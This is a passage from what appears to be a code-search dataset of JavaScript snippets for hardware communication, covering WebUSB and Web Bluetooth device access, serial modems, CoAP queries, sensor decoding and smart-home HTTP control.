irradiance.White = lightRaw;\n\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.UV = lightRaw;\n }\n\n if (flags & 0x20) {\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n decoded.Vbus = Vraw / 4096.0;\n }\n\n // at this point, decoded has the real values.\n return decoded;\n}","function callAPI(req,res,handleResponse){\n var host = 'www.blueworkslive.com';\n var username = 'xxxx';\n var password = 'yyyy';\n var path = '/api/Auth';\n var headers = {\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\n };\n var options = {\n host: host,\n path: path,\n method: 'GET',\n headers: headers\n };\n var bwlResData = {};\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\n var bwlRequest = https.request(options, function(bwlResponse) {\n\tconsole.log(\"BwlApiCall: Response status=\"+bwlResponse.statusCode);\n\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\n\tbwlResData.headers = bwlResponse.headers;\n\tvar bufferData = [];\n\tbwlResponse.on('data', function(data) {\n\t bufferData.push(data);\n console.info('BwlApiCall: Response data received');\n\t});\n\tbwlResponse.on('end', function() {\n console.info('BwlApiCall: completed, calling callback');\n\t bwlResData.data = Buffer.concat(bufferData);\n\t handleResponse(req, res, bwlResData);\n });\n });\n/* if ((reqData.method == \"post\" || reqData.method == \"put\") && reqData.senddata) {\n console.log(reqData.method+' sending data: '+reqData.senddata);\n bwlRequest.write(reqData.senddata);\n } */\n bwlRequest.end();\n bwlRequest.on('error', function(e){\n console.error('BwlApiCall: REQUEST-ERROR '+e);\n });\n}","retrieveDevice(req, res) {\n res.json({ message: \"Device\", data: req.device });\n }","getDeviceDescription(deviceId, callback, retryCounter) {\n let ip;\n if (!retryCounter) retryCounter = 0;\n if (retryCounter > 2) {\n return callback && callback(new Error('timeout on response'));\n }\n if (deviceId.includes('#')) {\n if (!this.knownDevices[deviceId] || !this.knownDevices[deviceId].ip) {\n return callback && callback('device unknown');\n }\n ip = this.knownDevices[deviceId].ip;\n }\n else ip = deviceId;\n this.logger && this.logger('CoAP device description request for ' + deviceId + ' to ' + ip + '(' + retryCounter + ')');\n let retryTimeout = null;\n try {\n const req = coap.request({\n host: ip,\n //port: 5683,\n method: 'GET',\n pathname: '/cit/d'\n });\n\n retryTimeout = setTimeout(() => {\n this.getDeviceDescription(deviceId, callback, ++retryCounter);\n callback = null;\n }, 2000);\n req.on('response', (res) => {\n clearTimeout(retryTimeout);\n const options = {};\n res.options.forEach((opt) => {\n if (!options[opt.name]) {\n options[opt.name] = opt.value;\n }\n else {\n options[opt.name] += '/' + opt.value;\n }\n });\n this.logger && this.logger('CoAP response: ' + JSON.stringify(options));\n\n const deviceId = this.initDevice(options, res.rsinfo);\n if (!deviceId) return;\n\n let payload = res.payload.toString();\n if (!payload.length) {\n this.logger && this.logger('CoAP payload empty: ' + JSON.stringify(options));\n return;\n }\n try {\n\n if (payload.indexOf('`') !== -1) {\n this.logger && this.logger(payload);\n payload = payload.substr(0, payload.lastIndexOf('`'));\n this.logger && this.logger('CoAP payload cutted: ' + payload.indexOf('`'));\n }\n\n payload = JSON.parse(payload);\n }\n catch (err) {\n this.emit('error', err + ' (res) for JSON ' + payload);\n return;\n }\n this.logger && this.logger('Device description received: ' + JSON.stringify(options) + ' / ' + JSON.stringify(payload));\n if (req.rsinfo) {\n this.knownDevices[deviceId].ip = req.rsinfo.address;\n this.knownDevices[deviceId].port = req.rsinfo.port;\n }\n this.knownDevices[deviceId].description = payload;\n callback && callback(null, deviceId, payload, this.knownDevices[deviceId].ip);\n callback = null;\n });\n req.on('error', (error) => {\n // console.log(error);\n this.emit('error', error);\n });\n req.end();\n }\n catch (e) {\n if (retryTimeout) clearTimeout(retryTimeout);\n callback && callback(e);\n callback = null;\n }\n }","buildModemInterface() {\n return new Promise((resolve, reject) => {\n this.log(`starting modem interface on port ${this.uri} @ ${this.baud_rate}`);\n let serial_port = new SerialPort(this.uri, {\n baudRate: this.baud_rate\n });\n serial_port.on('open', () => {\n resolve(serial_port);\n });\n serial_port.on('error', (err) => {\n reject(err);\n });\n serial_port.on('data', (data) => {\n // buffer the received data\n this.response_buffer += data.toString();\n // check if the response code exists in our buffered data\n this.response_codes.forEach((code) => {\n if (this.response_buffer.toUpperCase().indexOf(code) > -1) {\n this.handleModemResponse({\n data: this.response_buffer.replace(code, '').trim(), \n code: code\n });\n this.response_buffer = '';\n }\n })\n });\n return serial_port;\n });\n }","function send(data) {\n\n if(MODE == MODES.TEST) {\n ws.send(data);\n } else if(MODE == MODES.BLUETOOH) {\n\n var data = new Uint8Array(1);\n data[0] = data;\n\n ble.write(id, serviceId, serviceName, data.buffer, function() {\n console.log(\"ble -> sendSucess\");\n }, function(err) {\n console.log(\"ble -> sendFailure : \" + JSON.stringify(err));\n });\n\n }\n\n}","sendMakeBetShan2(_chipbet) {\n cc.NGWlog(\"Vua dat cuoc =\" + _chipbet);\n var data = {\n evt: \"bm\",\n M: _chipbet\n };\n this.sendDataGame(JSON.stringify(data));\n }","async function requestBlockchainInfo() {\n return instance\n .get(\"/tuichain/get_info/\")\n .then((response) => {\n return response.data;\n })\n .catch((error) => {\n console.log(error);\n return false;\n });\n}","async function main(){\n\nvar password=\"pengshu\";\n\nvar oneBranchAccount=await web3.eth.personal.newAccount(password);\nconsole.log(\"one branch\",oneBranchAccount);\n\n\nlet unlock;\n\ntry{\n unlock=await web3.eth.personal.unlockAccount(oneBranchAccount,password);}\ncatch(e){}\n console.log(\"one branch unlock\",unlock);\n \n\nvar message=\"I am the flash\";\nlet signature;\ntry{\n signature=await web3.eth.sign(message,oneBranchAccount);\n}catch(e){}\nconsole.log(\"signature one branch:\",signature);\n\nlet verfication;\ntry {\n verification= await web3.eth.personal.ecRecover(message,signature);\n}catch(e){console.log(e);}\nconsole.log(verfication);\n}","function expressGETBuffer(){\r\n GenerateRandom(currentBuffer);\r\n app.get('/api/buffer',(req,res) =>{\r\n res.json({\r\n arduino: currentBufferArduino,\r\n dummy: currentBuffer\r\n });\r\n });\r\n //console.log(\"2a. GET to Server\");\r\n}"],"string":"[\n \"async function RequestUSBDevice() { \\n await navigator.usb.requestDevice({ filters: [{}] });\\n}\",\n \"async getRequestDeviceInfo() {\\n const outputReportID = 0x01;\\n const subcommand = [0x02];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onDeviceInfo = ({ detail: deviceInfo }) => {\\n this.removeEventListener('deviceinfo', onDeviceInfo);\\n delete deviceInfo._raw;\\n delete deviceInfo._hex;\\n resolve(deviceInfo);\\n };\\n this.addEventListener('deviceinfo', onDeviceInfo);\\n });\\n }\",\n \"function readRHUSB() {\\n port.write(\\\"PA\\\\r\\\\n\\\");\\n}\",\n \"function bluetooth(){\\n\\n if (!navigator.bluetooth) {\\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\\n }\\n const z = document.getElementById('debugger');\\n const y = document.getElementById('serial')\\n\\n if (z.style.display ===\\\"none\\\"){\\n z.style.display = \\\"block\\\";\\n }else{\\n }\\n \\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ ('Requesting Bluetooth Devices');\\n navigator.bluetooth.requestDevice({\\n filters:[{\\n name: 'MicroTrynkit',\\n }],\\n optionalServices: [service]\\n })\\n .then(device=>{\\n z.innerHTML = z.innerHTML + \\\"\\\\n\\\"+ (\\\"Connected to: \\\");\\n z.innerHTML= z.innerHTML +\\\"\\\\n\\\"+ (\\\">Name:\\\" + device.name);\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (\\\">id:\\\" + device.id);\\n isConnected = 1;\\n bledevice = device;\\n return device.gatt.connect();\\n })\\n .then(server=>{\\n bleserver = server;\\n return server.getPrimaryService(service);\\n })\\n .then(service => {\\n return service.getCharacteristic(RX_char)\\n .then(characteristic => {\\n console.log(characteristic);\\n RX_characteristic = characteristic;\\n return service.getCharacteristic(TX_char);\\n })\\n })\\n .then(characteristic => {\\n console.log(characteristic);\\n TX_characteristic = characteristic;\\n /* add an event listener to the TX characteristic */\\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\\n console.log(TX_characteristic.readValue());\\n })\\n .then( value =>{\\n /* try to read from the device and print to console */\\n // y.innerText = value.getUint8(0);\\n // console.log(value.getUint8(0));\\n })\\n .catch(error=> {\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (error);\\n });\\n}\",\n \"requestUsb() {\\n return new Observable(observer => {\\n navigator.usb.requestDevice({ filters: [] })\\n .then((result) => {\\n this.vendorId = result.vendorId;\\n this.productId = result.productId;\\n return observer.next(result);\\n }).catch(error => {\\n return observer.error(error);\\n });\\n });\\n }\",\n \"async function uBitOpenDevice(device, callback) {\\n const transport = new DAPjs.WebUSB(device)\\n const target = new DAPjs.DAPLink(transport)\\n let buffer=\\\"\\\" // Buffer of accumulated messages\\n const parser = /([^.:]*)\\\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\\n \\n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\\n buffer += data;\\n let firstNewline = buffer.indexOf(\\\"\\\\n\\\")\\n while(firstNewline>=0) {\\n let messageToNewline = buffer.slice(0,firstNewline)\\n let now = new Date() \\n // Deal with line\\n // If it's a graph/series format, break it into parts\\n let parseResult = parser.exec(messageToNewline)\\n if(parseResult) {\\n let graph = parseResult[1]\\n let series = parseResult[2]\\n let data = parseResult[3]\\n let callbackType = \\\"graph-event\\\"\\n // If data is numeric, it's a data message and should be sent as numbers\\n if(!isNaN(data)) {\\n callbackType = \\\"graph-data\\\"\\n data = parseFloat(data)\\n }\\n // Build and send the bundle\\n let dataBundle = {\\n time: now,\\n graph: graph, \\n series: series, \\n data: data\\n }\\n callback(callbackType, device, dataBundle)\\n } else {\\n // Not a graph format. Send it as a console bundle\\n let dataBundle = {time: now, data: messageToNewline}\\n callback(\\\"console\\\", device, dataBundle)\\n }\\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\\n firstNewline = buffer.indexOf(\\\"\\\\n\\\") // See if there's more data\\n }\\n });\\n await target.connect();\\n await target.setSerialBaudrate(115200)\\n //await target.disconnect();\\n device.target = target; // Store the target in the device object (needed for write)\\n device.callback = callback // Store the callback for the device\\n callback(\\\"connected\\\", device, null) \\n target.startSerialRead()\\n return Promise.resolve()\\n}\",\n \"async request() {\\n let options = {\\n filters: [\\n {\\n name: \\\"balenaBLE\\\"\\n }\\n ],\\n optionalServices: [0xfff0, 0xfff1]\\n };\\n if (navigator.bluetooth == undefined) {\\n alert(\\\"Sorry, Your device does not support Web BLE!\\\");\\n return;\\n }\\n this.device = await navigator.bluetooth.requestDevice(options);\\n if (!this.device) {\\n throw \\\"No device selected\\\";\\n }\\n this.device.addEventListener(\\\"gattserverdisconnected\\\", this.onDisconnected);\\n }\",\n \"async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\\n\\n try {\\n var device = deviceInfo.device;\\n\\n await device.open();\\n //await device.reset();\\n\\n if (device.configuration === null) {\\n await device.selectConfiguration(1);\\n }\\n\\n\\t\\tawait device.claimInterface(0);\\n\\t\\t\\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\\n abyBlyncUsb30ReportBuffer[7] = 0x22;\\n\\n var result = await device.controlTransferOut( \\n {\\n requestType: 'class',\\n recipient: 'interface',\\n request: 0x09,\\n value: 0x0200,\\n index: 0x0000\\n },\\n abyBlyncUsb30ReportBuffer);\\n\\n await device.close();\\n } catch (e) {\\n console.log(\\\"Exception: \\\" + e);\\n }\\n}\",\n \"respondToArduino(command){\\n BluetoothSerial.write(command)\\n .then((res) => {\\n console.log(res, command)\\n })\\n .catch((err) => console.log(err.message))\\n }\",\n \"function bleConsole(value){\\n const y = document.getElementById('serial')\\n /* check if the device is connected if true send file*/\\n if(isConnected){\\n /* need to read the value of the TX_char\\n * may need some kind of loop or trigger to watch if new data comes in????\\n * not sure what I want to implement for this yet....\\n */\\n // y.innerText = TX_characteristic.readValue(); TODO does not work\\n }else{\\n const x = document.getElementById('console');\\n x.style.display =\\\"none\\\";\\n alert(\\\"MicroTrynkit device not connected. Please pair it first.\\\");\\n }\\n\\n}\",\n \"enumerate_devices() {\\n const filters = {filters: [\\n {vendorId: 0x16D0}\\n ]};\\n\\n if (!this.usb) {\\n this.log(\\\"error: WebUSB not supported\\\\n\\\", \\\"red\\\");\\n return;\\n }\\n\\n this.usb.requestDevice(filters)\\n .then(dev => this.connect_device(dev))\\n .catch(error => {\\n if (String(error) === \\\"SecurityError: Must be handling a user gesture to show a permission request.\\\") {\\n this.log(\\\"Please click 'Connect Device' on the left toolbar.\\\", \\\"black\\\");\\n } else if (String(error) === \\\"NotFoundError: No device selected.\\\") {\\n this.log(\\\"Please select a WebUSB device.\\\", \\\"red\\\");\\n } else {\\n this.log(String(error));\\n this.log(\\\"error: unable to enumerate USB device list\\\");\\n }\\n });\\n }\",\n \"async function findUSBDevice(event) {\\n // STEP 1A: Auto-Select first port\\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\\n // ports = await getPorts()\\n //STEP 1A: GetPorts - Automatic at initialization\\n // -Enumerate all attached devices\\n // -Check for permission based on vendorID & productID\\n devices = await navigator.usb.getDevices();\\n ports = devices.map((device) => new serial.Port(device)); //return port\\n\\n if (ports.length == 0) {\\n port.statustext_connect =\\n 'NO USB DEVICE automatically found on page load';\\n console.log(port.statustext_connect);\\n } else {\\n var statustext = '';\\n if (event.type == 'AutoConnect') {\\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\\n } else if (event.type == 'Reconnect') {\\n statustext = 'RECONNECTED USB DEVICE!';\\n }\\n port = ports[0];\\n try {\\n await port.connect();\\n } catch (error) {\\n console.log(error);\\n }\\n port.statustext_connect = statustext;\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n }\\n }\\n\\n // STEP 1B: User connects to Port\\n if (\\n event.type == 'pointerup' ||\\n event.type == 'touchend' ||\\n event.type == 'mouseup'\\n ) {\\n event.preventDefault(); //prevents additional downstream call of click listener\\n try {\\n //STEP 1B: RequestPorts - User based\\n // -Get device list based on Arduino filter\\n // -Look for user activation to select device\\n const filters = [\\n { vendorId: 0x2341, productId: 0x8036 },\\n { vendorId: 0x2341, productId: 0x8037 },\\n { vendorId: 0x2341, productId: 0x804d },\\n { vendorId: 0x2341, productId: 0x804e },\\n { vendorId: 0x2341, productId: 0x804f },\\n { vendorId: 0x2341, productId: 0x8050 },\\n ];\\n\\n device = await navigator.usb.requestDevice({ filters: filters });\\n port = new serial.Port(device); //return port\\n\\n await port.connect();\\n\\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n } catch (error) {\\n console.log(error);\\n }\\n waitforClick.next(1);\\n }\\n} //FUNCTION findUSBDevice\",\n \"function connectviaBT() {\\r\\n\\t// initialize bluetooth and setup an event listener\\r\\n\\t//todo: refactor name mWebSocket_InitAsync\\r\\n\\tdocument.getElementById( \\\"idStatus\\\").innerHTML=\\\"Connecting via BT\\\";\\r\\n\\t//returns data from BT as Uint8Array [1..20]\\r\\n\\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\\r\\n\\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\\r\\n\\t.then(connectGATT) //todo:@FC please explain what is happening here\\r\\n\\t.then(_ => {\\r\\n\\t\\tconsole.log('Evaluating signal of interest...')\\r\\n\\t\\treturn gattCharacteristic.readValue()\\t//receiving data from BT - Uint8Array [1..20]\\r\\n\\t})\\r\\n\\t.catch(error => {\\r\\n\\t\\tconsole.log('Waiting to start reading: ' + error)\\r\\n\\t})\\r\\n}\",\n \"function getdevice (dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-13';\\n webphone_api.plhandler.GetDevice(dev, callback);\\n }\\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){console.log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function getWeMoData() {\\n var wemoHeaders = { \\n \\\"Content-Type\\\": \\\"application/json\\\", \\n \\\"SOAPACTION\\\": \\\"urn:Belkin:service:basicevent:1#GetBinaryState\\\",\\n };\\n var wemoState = '>' + \\n '' +\\n \\\"\\\" + \\n '' + \\n \\\"1 \\\" + \\n \\\" \\\" + \\n \\\" \\\" + \\n \\\" \\\"\\n var wemoOptions =\\n {\\n \\\"method\\\" : \\\"post\\\",\\n \\\"headers\\\" : wemoHeaders,\\n \\\"muteHttpExceptions\\\": true,\\n \\\"payload\\\" : wemoState,\\n };\\n\\n var ddnsDevices = [ \\\"WemoXmas\\\", \\\"WemoGazebo\\\" ];\\n props.setProperty( \\\"weNum\\\", ddnsDevices.length ); \\n \\n for (var i = 0; i < ddnsDevices.length; i++) {\\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \\\"URL\\\") + \\\"/upnp/control/basicevent1\\\").getContentText();\\n Logger.log(response);\\n var wemoJson = JSON.parse(response);\\n state = wemoJSON.BinaryState;\\n props.setProperties( \\\"we\\\" + String(i), state ); \\n /* send to ATT M2X*/\\n var streams = [ \\\"we0\\\", \\\"we1\\\", \\\"we2\\\", \\\"we3\\\" ];\\n sendDataATT(ddnsDevices[i], streams);\\n logProps(streams);\\n }\\n \\n}\",\n \"async send_cmd(cmd, options={}) {\\n const data = options.data;\\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\\n\\n if (!this.device || !this.device.opened) {\\n this.log(\\\"error: device not connected.\\\\n\\\", \\\"red\\\");\\n this.log(\\\"Use button to connect to a supported programmer.\\\\n\\\", \\\"red\\\");\\n return Promise.reject(\\\"error: device not opened\\\");\\n }\\n\\n const opts = {\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 250,\\n value: this.CMD_LUT[cmd],\\n index: cmdIndex\\n };\\n\\n // transfer data out\\n const res = data\\n ? await this.device.controlTransferOut(opts, data)\\n : await this.device.controlTransferOut(opts);\\n\\n // sleep for a bit to give the USB device some processing time leeway\\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\\n\\n return this.device.controlTransferIn({\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 249,\\n value: 0x70,\\n index: 0x81\\n }, 64).then(result => {\\n return textDecode\\n ? (new TextDecoder()).decode(result.data)\\n : result.data.buffer;\\n });\\n }\",\n \"async function requestBLEDevice(){\\n let result = Promise.resolve()\\n if (ble.connected == false){\\n console.log('Requesting ble device...')\\n wdm('Requesting bluetooth device list')\\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\\n\\n try{\\n device = await navigator.bluetooth.requestDevice(options)\\n console.log(\\\"found a device\\\",device)\\n console.log(device.name)\\n console.log(device.uuids)\\n var textstr = \\\"found a device name: \\\" + device.name + \\\"
\\\" + \\\"id: \\\" + device.id\\n ble.statustext = textstr\\n \\n ble.device=device\\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\\n }\\n catch(error){\\n if (ble.connected == false){\\n var textstr = 'Still waiting for user to select device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n return error\\n }\\n }\\n }\\n return result\\n}\",\n \"getHardware (cb) {\\n\\t\\tvar self = this\\n\\n\\t\\tif (!this.started)\\n\\t\\t{\\n\\t\\t\\treturn cb('Connection to MD-DM not started')\\n\\t\\t}\\n\\n\\t\\tif (!this.device.connected)\\n\\t\\t{\\n\\t\\t\\treturn cb('Not currently connected to MD-DM')\\n\\t\\t}\\n\\n\\t\\tthis._connection.exec('SHOWHW', function (err, response) {\\n\\t\\t\\tself._logger.verbose(`SHOWHW response: ${response}`)\\n\\n\\t\\t\\ttry\\n\\t\\t\\t{\\n\\t\\t\\t\\tcb(err, TelnetOutputParser.parseHardware(response))\\n\\t\\t\\t}\\n\\t\\t\\tcatch (e)\\n\\t\\t\\t{\\n\\t\\t\\t\\tself._logger.warn(`Failed to parse response: ${response}`)\\n\\t\\t\\t\\tcb(`Failed to parse response: ${e} / ${e.stack}`)\\n\\t\\t\\t}\\n\\t\\t})\\n\\t}\",\n \"function request(value) {\\n\\t// Init variables\\n\\tlet src;\\n\\tlet cmd;\\n\\n\\tswitch (value) {\\n\\t\\tcase 'motor-values' : {\\n\\t\\t\\tsrc = 'DIA';\\n\\t\\t\\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\n\\t\\tdefault : return;\\n\\t}\\n\\n\\tbus.data.send({\\n\\t\\tsrc : src,\\n\\t\\tdst : 'DME',\\n\\t\\tmsg : cmd,\\n\\t});\\n}\",\n \"function OpenAVR(device)\\n{\\n if (device.deviceDescriptor.idVendor != kAtmel ||\\n device.deviceDescriptor.idProduct != kEVK1101)\\n {\\n return; // (not our device)\\n }\\n\\n try {\\n device.open();\\n device.interfaces[0].claim();\\n // find first unused input >= 2\\n for (var i=2; ; ++i) {\\n if (i < avrs.length && avrs[i]) continue;\\n avrs[i] = device;\\n device.avrNum = i;\\n var endIn = device.interfaces[0].endpoints[0];\\n var endOut = device.interfaces[0].endpoints[1];\\n endIn.avrNum = i;\\n endOut.avrNum = i;\\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endIn.timeout = 1000;\\n endOut.timeout = 1000;\\n // (must install handlers before we start polling)\\n endIn.on('data', HandleData);\\n endIn.on('error', HandleError);\\n endOut.on('error', HandleError);\\n endIn.startPoll(4, 256);\\n\\n // add member function to send command to AVR\\n device.SendCmd = SendCmd;\\n // send initial command to get AVR serial number and software version\\n device.SendCmd(\\\"a.ser;b.ver\\\\n\\\");\\n break;\\n }\\n }\\n catch (err) {\\n Log('Error opening AVR device');\\n }\\n}\",\n \"writeLoginControl(data) {\\n var arrData = [17,16,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginControl_1',data_send);\\n for (var i = 0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginControl successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginControl failed ',error);\\n });\\n }\",\n \"readFromDevice() {\\n this.device.transferIn(5, 64).then(result => {\\n const decoder = new TextDecoder();\\n this.rstring += decoder.decode(result.data);\\n // do a quick JSON smoketest (should do better with decoder/streaming)\\n const startIdx = this.rstring.indexOf('{');\\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\\n const endIdx = this.rstring.indexOf('}');\\n if(endIdx > -1) {\\n const parseStr = this.rstring.substring(0, endIdx+1);\\n this.rstring = this.rstring.substring(endIdx+1);\\n try {\\n const msg = JSON.parse(parseStr);\\n this._handleMessage(msg);\\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\\n } catch(e) {\\n console.log(\\\"NOT JSON:\\\",parseStr);\\n }\\n this.rstring = \\\"\\\";\\n }\\n this.readFromDevice();\\n })\\n .catch(error => { \\n console.log(error);\\n this.emitMessage(this.device.serialNumber, \\\"\\\");\\n this.emitDisconnected(this.device.serialNumber);\\n this.device = null;\\n this.rstring = \\\"\\\";\\n });\\n }\",\n \"async getBatteryLevel() {\\n const outputReportID = 0x01;\\n const subCommand = [0x50];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subCommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onBatteryLevel = ({ detail: batteryLevel }) => {\\n this.removeEventListener('batterylevel', onBatteryLevel);\\n delete batteryLevel._raw;\\n delete batteryLevel._hex;\\n resolve(batteryLevel);\\n };\\n this.addEventListener('batterylevel', onBatteryLevel);\\n });\\n }\",\n \"async getDeviceDetails() {\\n return this.digestClient\\n .fetch(\\n `http://${this.dahua_host}/cgi-bin/magicBox.cgi?action=getSystemInfo`\\n )\\n .then((r) => r.text())\\n .then((text) => {\\n const deviceDetails = text\\n .trim()\\n .split('\\\\n')\\n .reduce((obj, str) => {\\n const [key, val] = str.split('=');\\n obj[key] = val.trim();\\n return obj;\\n }, {});\\n return deviceDetails;\\n });\\n }\",\n \"async function readComms() {\\n await transferByte(0x99);\\n let readLen = await transferByte(0x00);\\n if (readLen) {\\n let rxBuff = Buffer.alloc(readLen, 0, 'binary');\\n for(let ri = 0; ri < readLen; ri++) {\\n let rx = await transferByte(0x00);\\n rxBuff[ri] = rx;\\n }\\n return rxBuff;\\n }\\n return null;\\n}\",\n \"get_card_id_ex() {\\n return new Promise((resolve, reject) => {\\n\\n let on_frame = (frame) => {\\n // remove_listener();//remove to resever for next time \\n switch (frame.type) {\\n case CODE.ERR_HEADER: /* No card */\\n\\n let err_code = frame.buffer[1];\\n if (err_code == CODE.NO_CARD) {\\n resolve({ is_available: false, uid_len: 0, uid: '' });\\n } else {\\n reject(frame);\\n }\\n break;\\n case CODE.RESPONSE_HEADER:/*have card */\\n let uid_len = frame.buffer[5];\\n let resp = {\\n is_available: true\\n };\\n if (this.buffer.length >= (CODE.PACKET_LENGTH + uid_len)) {\\n let uid_buffer = new Buffer.alloc(uid_len);\\n frame.buffer.copy(uid_buffer, 0, 7, 7 + uid_len);\\n resp.uid_len = uid_len;\\n resp.uid = util.to_hex_string(uid_buffer);\\n resolve(resp);\\n }\\n else {\\n reject('invalid resp');\\n }\\n break;\\n default:\\n reject('invalid resp');\\n break;\\n }\\n };\\n this.once('frame', on_frame);//onetime fire\\n\\n //GET_CARD_ID_EX (0x2C) : Use this function for cards with UID longer than 4 byte\\n this.send_command(\\\"55 2C AA 00 00 00 DA\\\");\\n });\\n }\",\n \"function bleSend() {\\n /* check if the device is connected if true send file*/\\n let encoder = new TextEncoder('utf-8');\\n\\n if(isConnected){\\n /* send an erase command so that the file gets started fresh */\\n RX_characteristic.writeValue(encoder.encode(\\\"erase\\\"));\\n for(let a = 0; a<3000; a++){\\n console.log(\\\"\\\")\\n }\\n /* get the contents of the editor that is in use */\\n let editorContents = editor.getValue();\\n /* send the contents to the device */\\n //split the editor contents into newlines.\\n temp = editorContents.split(/\\\\n/);\\n for(let i=0; i> (8*(1-j)));\\n }\\n */\\n //CMD\\n tx_data[0] = 0;\\n //index\\n tx_data[1] = i & 0xff;\\n\\n\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\\n }\\n\\n //freq(0:38k, 1;40k)\\n tx_data[4] = 0;\\n //Format(0:unknown, 1:NEC, 2:SONY...)\\n tx_data[5] = 1;\\n\\n //Number of Frame\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\\n }\\n\\n //Data0\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Data1\\n for(var j = 0; j < 4; j = j + 1){\\n 